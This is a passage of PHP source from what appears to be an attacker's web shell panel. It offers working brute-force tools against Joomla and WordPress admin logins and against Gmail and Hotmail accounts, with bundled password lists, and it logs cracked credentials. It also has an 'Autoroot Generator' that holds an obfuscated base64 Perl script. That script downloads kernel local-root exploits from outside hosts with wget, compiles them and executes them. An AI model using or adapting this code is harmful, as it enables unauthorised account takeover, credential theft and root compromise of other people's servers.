1761 echo '<b><font face="Tahoma" color="#ff0000" size="2pt">$func</font></b>';
1762 echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
1763 echo '<td valign="top" bgcolor="#151515" colspan="5"><input type="submit" value="Please Click Here First!">
1764
1765 </td></tr>';
1766
1767 }
1768 echo '
1769 <tr>
1770 <td valign="top" bgcolor="transparent" style="width: 139px"></td>
1771 <td valign="top" bgcolor="transparent" colspan="5"></td>
1772 </table>
1773 </td>
1774 </tr>
1775 </table>
1776 <meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body></body></html>
1777<form style="border: 0px ridge #FFFFFF">
1778 <p align="center"></td>
1779 </tr><div align="center">
1780 <tr>
1781<input type="submit" name="user" value="Generate User"><option value="name"></select>
1782</form>
1783<div align="center">
1784 <table border="0" width="10%" bordercolorlight="#007700" bordercolordark="#007700" height="100" cellspacing="5">
1785<tr>
1786<td bordercolorlight="#007700" bordercolordark="#007700">
1787<p align="left">
1788<textarea class="area" method="POST" rows="10" name="S1" cols="96">';
1789if ($_GET['user'] )
1790
1791
1792 system('ls /var/mail');
1793
1794
1795
1796
1797
1798 for($uid=0;$uid<90000;$uid++){
1799
1800 }
1801
1802echo '</textarea>';
1803}
1804if(isset($_GET['action']) && $_GET['action'] == 'jmbru'){
1805echo '<center><b class="conte">
1806<a href="?action=skybru">Skype Brute Force</a> -
1807<a href="?action=cpbru">Cpanel Brute Force</a> -
1808<a href="?action=jmbru">Joomla Brute Force</a> -
1809<a href="?action=wpbru">Wordpress Brute Force</a> -
1810<a href="?action=twbru">Twitter Brute Force</a> -
1811<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
1812</b>';
1813echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Joomla Brute Force</span></center><br>';
1814echo '<font face="Tahoma" color="#007700" size="2pt"><form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
1815
1816<center>
1817<form method="post" action="" enctype="multipart/form-data">
1818<table class="tabnet" width="38%" border="0">
1819<tr><td><p ><font face="Tahoma" color="#007700" size="2pt">User :</font></th>
1820<input class="area" type="text" name="usr" value="admin" size="15"> </center><br /><br /></p>
1821</td></tr>
1822<tr><td><font face="Tahoma" color="#007700" size="2pt">Sites list :</font>
1823</td><td><font face="Tahoma" color="#007700" size="2pt">Pass list :</font></td></tr>
1824<tr>
1825 <td><font face="Tahoma" color="#007700" size="2pt">
1826<textarea class="area" name="sites" style="background:transparent;" cols="40" rows="13" ></textarea>
1827</td><td>
1828<textarea class="area" name="w0rds" style="background:transparent;" cols="40" rows="13" >';
1829echo 'admin
1830123456
1831password
1832102030
1833123123
183412345
1835123456789
1836pass
1837test
1838admin123
1839demo
1840!@#$%^';
1841echo '</textarea></font>
1842</td></tr><center><tr><td>
1843<br><input class="inputzbut" type="submit" name="x" value="Start Now" id="d4">
1844</td></tr><br></table>
1845</form></center>';
1846
1847@set_time_limit(0);
1848
1849if($_POST['x']){
1850
1851echo "<hr>";
1852
1853$sites = explode("
1854",$_POST["sites"]); // Get Sites
1855$w0rds = explode("
1856",$_POST["w0rds"]); // Get w0rdLiSt
1857
1858$Attack = new Joomla_brute_Force(); // Active Class
1859
1860
1861foreach($w0rds as $pwd){
1862
1863foreach($sites as $site){
1864
1865
1866$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
1867flush();flush();
1868
1869}
1870
1871}
1872
1873}
1874
1875
1876# Class & Function'z
1877
1878function txt_cln($value){ return str_replace(array("
1879","
1880"),"",$value); }
1881
1882class Joomla_brute_Force{
1883
1884public function check_it($site,$user,$pass){ // print result
1885
1886if(eregi('com_config',$this->post($site,$user,$pass))){
1887
1888echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
1889$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
1890"); fclose($f);
1891flush();
1892}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
1893
1894}
1895
1896public function post($site,$user,$pass){ // Post -> user & pass
1897
1898$token = $this->extract_token($site);
1899
1900$curl=curl_init();
1901
1902curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
1903curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
1904@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
1905@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
1906curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
1907@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
1908curl_setopt($curl,CURLOPT_POST,1);
1909curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
1910curl_setopt($curl,CURLOPT_TIMEOUT,20);
1911
1912$exec=curl_exec($curl);
1913curl_close($curl);
1914return $exec;
1915
1916}
1917
1918public function extract_token($site){ // get token from source for -> function post
1919
1920$source = $this->get_source($site);
1921
1922preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
1923
1924return $token[1][0];
1925
1926}
1927
1928public function get_source($site){ // get source for -> function extract_token
1929
1930$curl=curl_init();
1931curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
1932curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
1933@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
1934@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
1935curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
1936@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
1937curl_setopt($curl,CURLOPT_TIMEOUT,20);
1938
1939$exec=curl_exec($curl);
1940curl_close($curl);
1941return $exec;
1942
1943}
1944
1945}
1946}
1947if(isset($_GET['action']) && $_GET['action'] == 'wpbru'){
1948echo '<center><b class="conte">
1949<a href="?action=skybru">Skype Brute Force</a> -
1950<a href="?action=cpbru">Cpanel Brute Force</a> -
1951<a href="?action=jmbru">Joomla Brute Force</a> -
1952<a href="?action=wpbru">Wordpress Brute Force</a> -
1953<a href="?action=twbru">Twitter Brute Force</a> -
1954<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
1955</b>';
1956echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Wordpress Brute Force</span></center><br>';
1957echo '<form action="?y=<?php echo $pwd; ?>&x=wpbrute" method="post">
1958<center><br>
1959<form enctype="multipart/form-data" method="POST">
1960<table width="624" border="0" class="tabnet">
1961<tr>
1962<td > </td>
1963<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Hosts:</font></p></td>
1964<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Users:</font></p></td>
1965<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Passwords:</font></p></td>
1966</tr>
1967<tr>
1968<td> </td>
1969<td ><textarea class="area" style="background:transparent;" name="hosts" cols="30" rows="10" >';
1970if ($_POST) {
1971echo $_POST['hosts'];
1972} echo '</textarea></td>
1973<td ><textarea class="area" style="background:transparent;" name="usernames" cols="30" rows="10" >';
1974if ($_POST) {
1975echo $_POST['usernames'];
1976} else {
1977echo "admin";
1978} echo '</textarea></td>
1979<td><textarea class="area" style="background:transparent;" name="passwords" cols="30" rows="10" >';
1980if ($_POST) {
1981echo $_POST['passwords'];
1982} else {
1983echo 'admin
1984administrator
1985123123
1986123321
1987123456
19881234567
198912345678
1990123456789
1991123456123456
1992admin2010
1993admin2011
1994password
1995P@ssW0rd
1996!@#$%^
1997!@#$%^&*(
1998(*&^%$#@!
1999111111
2000222222
2001333333
2002444444
2003555555
2004666666
2005777777
2006888888
2007999999';
2008}
2009echo '</textarea></td>
2010</tr>
2011<tr><td colspan="4"><center><br><input class="inputzbut" type="submit" name="submit" value="Brute Now" /></center>';
2012
2013if ($_POST) {
2014$hosts = trim(filter($_POST['hosts']));
2015$passwords = trim(filter($_POST['passwords']));
2016$usernames = trim(filter($_POST['usernames']));
2017if ($passwords && $usernames && $hosts) {
2018$hosts_explode = explode("
2019", $hosts);
2020$usernames_explode = explode("
2021", $usernames);
2022$passwords_explode = explode("
2023", $passwords);
2024foreach ($hosts_explode as $host) {
2025$host = RemoveLastSlash($host);
2026$hacked = 0;
2027$host = str_replace(array("http://", "https://", "www."), "", trim($host));
2028$host = "http://" . $host;
2029$wpAdmin = $host . '/wp-admin/';
2030if (!url_exists($host . "/wp-login.php")) {
2031echo "<p>" . $host . " => <font color='red'>Error In Login Page !</font></p>";
2032ob_flush();
2033flush();
2034continue;
2035}
2036foreach ($usernames_explode as $username) {
2037foreach ($passwords_explode as $password) {
2038$ch = curl_init();
2039curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2040curl_setopt($ch, CURLOPT_URL, $host . '/wp-login.php');
2041curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt");
2042curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt");
2043curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2044curl_setopt($ch, CURLOPT_POST, TRUE);
2045curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri‏" . "&redirect_to=" . $wpAdmin . "&testcookie=1");
2046$login = curl_exec($ch);
2047if (eregi("profile.php", $login)) {
2048$hacked = 1;
2049echo "<p>" . $host . " => UserName : [<font color='#b0b000'>" . $username . "</font>] : Password : [<font color='#b0b000'>" . $password . "</font>]</p>";
2050ob_flush();
2051flush();
2052break;
2053}
2054}
2055if ($hacked == 1) {
2056break;
2057}
2058}
2059if ($hacked == 0) {
2060echo "<p>" . $host . " => <font color='red'>Failed !</font></p>";
2061ob_flush();
2062flush();
2063}
2064}
2065} else {
2066echo "<p><font color='red'>All fields are Required ! </font></p>";
2067}
2068}
2069echo '</td></tr>
2070</table></form></center>';
2071function url_exists($strURL) {
2072$resURL = curl_init();
2073curl_setopt($resURL, CURLOPT_URL, $strURL);
2074curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
2075curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
2076curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
2077curl_exec($resURL);
2078$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
2079curl_close($resURL);
2080if ($intReturnCode != 200) {
2081return false;
2082} else {
2083return true;
2084}
2085}
2086function filter($string) {
2087if (get_magic_quotes_gpc() != 0) {
2088return stripslashes($string);
2089} else {
2090return $string;
2091}
2092}
2093function RemoveLastSlash($host) {
2094if (strrpos($host, '/', -1) == strlen($host) - 1) {
2095return substr($host, 0, strrpos($host, '/', -1));
2096} else {
2097return $host;
2098}
2099}
2100echo "</p>";
2101}
2102if(isset($_GET['action']) && $_GET['action'] == 'ghbru'){
2103echo '<center><b class="conte">
2104<a href="?action=skybru">Skype Brute Force</a> -
2105<a href="?action=cpbru">Cpanel Brute Force</a> -
2106<a href="?action=jmbru">Joomla Brute Force</a> -
2107<a href="?action=wpbru">Wordpress Brute Force</a> -
2108<a href="?action=twbru">Twitter Brute Force</a> -
2109<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
2110</b>';
2111echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Gmail & Hotmail Brute Force</span><center>';
2112
2113set_time_limit(0);
2114error_reporting(0);
2115
2116class s1{
2117
2118private $adres = array(
2119'gmail' => '{imap.gmail.com:993/imap/ssl}',
2120'hotmail' => '{pop3.live.com:995/pop3/ssl}'
2121);
2122private $imap;
2123function __construct($gelen1,$gelen2){
2124
2125$uname = explode("\r\n",$gelen1);
2126$pwd = explode("\r\n",$gelen2);
2127foreach($pwd as $pass){
2128$pass = trim($pass);
2129foreach($uname as $user){
2130$user = trim($user);
2131
2132if(preg_match('@gmail@si',$user)){
2133$this->baglan($this->adres["gmail"],$user,$pass);
2134}else{
2135$this->baglan($this->adres["hotmail"],$user,$pass);
2136}
2137}
2138}
2139}
2140
2141public function baglan($url,$user,$pass){
2142
2143$this->imap = imap_open($url,$user,$pass);
2144if($this->imap){
2145echo "<span id='cikti' >$user => $pass </span><br />";
2146}
2147}
2148function __destruct(){
2149
2150imap_close($this->imap);
2151
2152}
2153}
2154
2155echo '<br /> <center><div id="form">
2156<form id="form" method="POST" >
2157<textarea class="area" name="mail" rows="20" cols="28">Put Emails You Want To Cracker here ^_^</textarea>
2158<textarea class="area" name="sifre" rows="20" cols="28">Put Your Password List Here ^_^</textarea> <br /> <br />
2159<input type="submit" id="submit" value="Brute !" />
2160</form><br>
2161</div>
2162<div id="sonuc"> ';
2163
2164
2165if($_POST){
2166$mails = $_POST["mail"];
2167$sifre = $_POST["sifre"];
2168
2169if((isset($mails)) and (isset($sifre))){
2170$s1 = new s1($mails,$sifre);
2171}
2172}
2173
2174echo '</center></div> ';
2175}
2176if(isset($_GET['action']) && $_GET['action'] == 'w00ts'){
2177echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Autoroot Generator Coded By Mauritania Attacker</span><center><br>';
2178echo'<center><font color="#006600" size="2pt"><b>Special Greet To HusseiN98D</b><font/></center><br>';
2179echo"<p align='center'> <img border='0' src='http://www.spirit-of-metal.com/les%20goupes/R/Root/pics/logo.jpg'></p><br>";
2180echo'<div class="tul"><font color="007700" face="Geneva, sans-serif" style="font-size: 11pt"><font/>';
2181
2182
2183@error_reporting(0);
2184
2185sleep(2);
2186
2187echo "<p><b>Script Autoroot Perl Extracted Successfully.... \!/ </b></p><br>";
2188//generate autoroot script perl
2189mkdir('lulZ',0755);
2190$shellw0rm = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KcHJpbnQgIiAgICAgICAgIEFub25HaG9zdCBTbTRzaCBhdXRvIHIwMHQgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgMjAwNSAtIDIwMTMgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOw0KcHJpbnQgIiAgICAoICBfX19fICkoICBfXyAgICkoICBfXyAgIClcX18gICBfXy8gICAgXG4iOw0KcHJpbnQgIiAgICB8ICggICAgKXx8ICggICkgIHx8ICggICkgIHwgICApICggICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICAgICBfXyl8ICgvIC8pIHx8ICgvIC8pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChcICggICB8ICAgLyB8IHx8ICAgLyB8IHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8LyAgIFxfXy8oX19fX19fXykoX19fX19fXykgICApXyggICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCQkgICAgIDE5LzA4LzIwMTQJCSAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IGxpbnV4ICwgcGVybCAkMCBsbnggICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IFN1bk9TICwgcGVybCAkMCBzdW5vcyAgICAgICAgXG4iOw0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KDQoNCmlmICgkQVJHVlswXSA9fiAibG54IiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBsbng7Y2QgbG54Iik7DQpwcmludCAiWytdIFdhaXQuLlxuIjsNCg0Kc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgd3d3LnR1eC1wbGFuZXQuZnIvcHVibGljL2hhY2svZXhwbG9pdHMva2VybmVsL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdC5jIik7DQpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L3gyIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOw0Kc3lzdGVtKCIuL3gyIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngveCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgeCIpOw0Kc3lzdGVtKCIuL3giKTsNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvdXNlbGliMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVzZWxpYjI0Iik7DQpzeXN0ZW0oIi4vdXNlbGliMjQiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdDIiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCIuL3Jvb3QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2ttb2QyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOw0Kc3lzdGVtKCIuL2ttb2QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZXhwLnNoIik7DQpzeXN0ZW0oImNobW9kIDc1NSBleHAuc2giKTsNCnN5c3RlbSgic2ggZXhwLnNoIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsNCnN5c3RlbSgiLi9lbGZsYmwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9jdzcuMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsNCnN5c3RlbSgiLi9jdzcuMyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0yNzQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oIi4vMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMyIpOw0Kc3lzdGVtKCIuLzIuNi4zMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNy1yYzIiKTsNCnN5c3RlbSgiLi8yLjYuMzctcmMyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC96MWQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgejFkLTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMS0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxLTIiKTsNCnN5c3RlbSgiLi8xLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0zIik7DQpzeXN0ZW0oIi4vMS0zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xLTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEtNCIpOw0Kc3lzdGVtKCIuLzEtNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDEwIik7DQpzeXN0ZW0oIi4vMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMSIpOw0Kc3lzdGVtKCIuLzExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMTIiKTsNCnN5c3RlbSgiLi8xMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE0Iik7DQpzeXN0ZW0oIi4vMTQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQo